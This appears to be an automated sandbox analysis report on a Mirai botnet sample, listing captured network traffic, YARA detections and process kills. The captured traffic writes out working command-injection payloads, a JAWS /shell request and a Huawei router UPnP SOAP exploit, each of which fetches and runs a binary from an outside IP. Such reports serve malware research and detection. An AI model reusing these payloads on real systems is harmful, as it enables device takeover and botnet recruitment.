Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: tojaubec.shop

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: z0r0.x86.elf, 5441.1.0000000008048000.0000000008058000.r-x.sdmp, z0r0.x86.elf, 5443.1.0000000008048000.0000000008058000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: z0r0.x86.elf, 5441.1.0000000008048000.0000000008058000.r-x.sdmp, z0r0.x86.elf, 5443.1.0000000008048000.0000000008058000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: z0r0.x86.elf	String found in binary or memory: http://upx.sf.net

System Summary

Malicious sample detected (through community Yara rule)

Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 Author: unknown
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c Author: unknown
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c Author: unknown
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 Author: unknown
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c Author: unknown
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c Author: unknown
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 3104, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 3161, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 3162, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 3163, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 3164, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 3165, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 3170, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 3182, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 3212, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 5459, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 5460, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 5461, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 5462, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 5463, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 5464, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 5478, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 5488, result: successful	Jump to behavior

Source: LOAD without section mappings

Program segment: 0x8048000

Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 3104, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 3161, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 3162, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 3163, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 3164, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 3165, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 3170, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 3182, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 3212, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 5459, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 5460, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 5461, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 5462, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 5463, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 5464, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 5478, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	SIGKILL sent: pid: 5488, result: successful	Jump to behavior

Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee, id = 93fc3657-fd21-4e93-a728-c084fc0a6a4a, last_modified = 2021-09-16
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6, id = 804f8e7c-4786-42bc-92e4-c68c24ca530e, last_modified = 2021-09-16
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883, id = a68e498c-0768-4321-ab65-42dd6ef85323, last_modified = 2021-09-16
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee, id = 93fc3657-fd21-4e93-a728-c084fc0a6a4a, last_modified = 2021-09-16
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6, id = 804f8e7c-4786-42bc-92e4-c68c24ca530e, last_modified = 2021-09-16
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883, id = a68e498c-0768-4321-ab65-42dd6ef85323, last_modified = 2021-09-16
